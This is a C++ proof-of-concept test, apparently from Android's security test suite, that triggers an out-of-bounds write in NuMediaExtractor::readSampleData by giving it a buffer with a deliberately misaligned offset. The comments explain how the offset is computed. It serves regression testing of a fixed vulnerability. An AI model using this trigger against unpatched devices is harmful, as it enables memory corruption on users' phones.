1 /*
2 * Copyright (C) 2023 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <media/IMediaHTTPService.h>
18 #include <media/stagefright/NuMediaExtractor.h>
19 #include <media/stagefright/foundation/ABuffer.h>
20 #include <stdlib.h>
21 #include <vector>
22 #include "../includes/common.h"
23 #include "../includes/memutils.h"
24
25 using namespace android;
26
27 char enable_selective_overload = ENABLE_NONE;
28
29 constexpr size_t kTrackIndex = 0;
30
main(int argc,char ** argv)31 int main(int argc, char **argv) {
32 FAIL_CHECK(argc == 2);
33
34 sp<NuMediaExtractor> extractor = new NuMediaExtractor(NuMediaExtractor::EntryPoint::OTHER);
35 FAIL_CHECK(extractor);
36
37 extractor->setDataSource(nullptr /* httpService */, argv[1]);
38 extractor->selectTrack(kTrackIndex);
39 size_t sampleSize = -1;
40 extractor->getSampleSize(&sampleSize);
41 FAIL_CHECK(sampleSize != -1);
42
43 enable_selective_overload = ENABLE_ALL;
44 std::vector<uint8_t> data(sampleSize);
45 enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
46 FAIL_CHECK(data.size() == sampleSize);
47
48 sp<ABuffer> buffer = new ABuffer(data.data(), sampleSize);
49 FAIL_CHECK(buffer);
50
51 // Setting the offset such that the buffer starts from the next byte after the last byte in the
52 // alignment in order to just write into the write protected region of the allocation.
53 // e.g. for a buffer of size 16 bytes,
54 // if 10 bytes are to be written
55 // then the offset should be 7 to cause an OOB write on the 17th byte.
56 size_t offset = MINIMUM_ALIGNMENT - (sampleSize % MINIMUM_ALIGNMENT) + 1;
57 size_t updatedSize = buffer->capacity() - offset;
58 buffer->setRange(offset, updatedSize);
59
60 // Calling the vulnerable function readSampleData() here causes an OOB write.
61 extractor->readSampleData(buffer);
62 return EXIT_SUCCESS;
63 }
64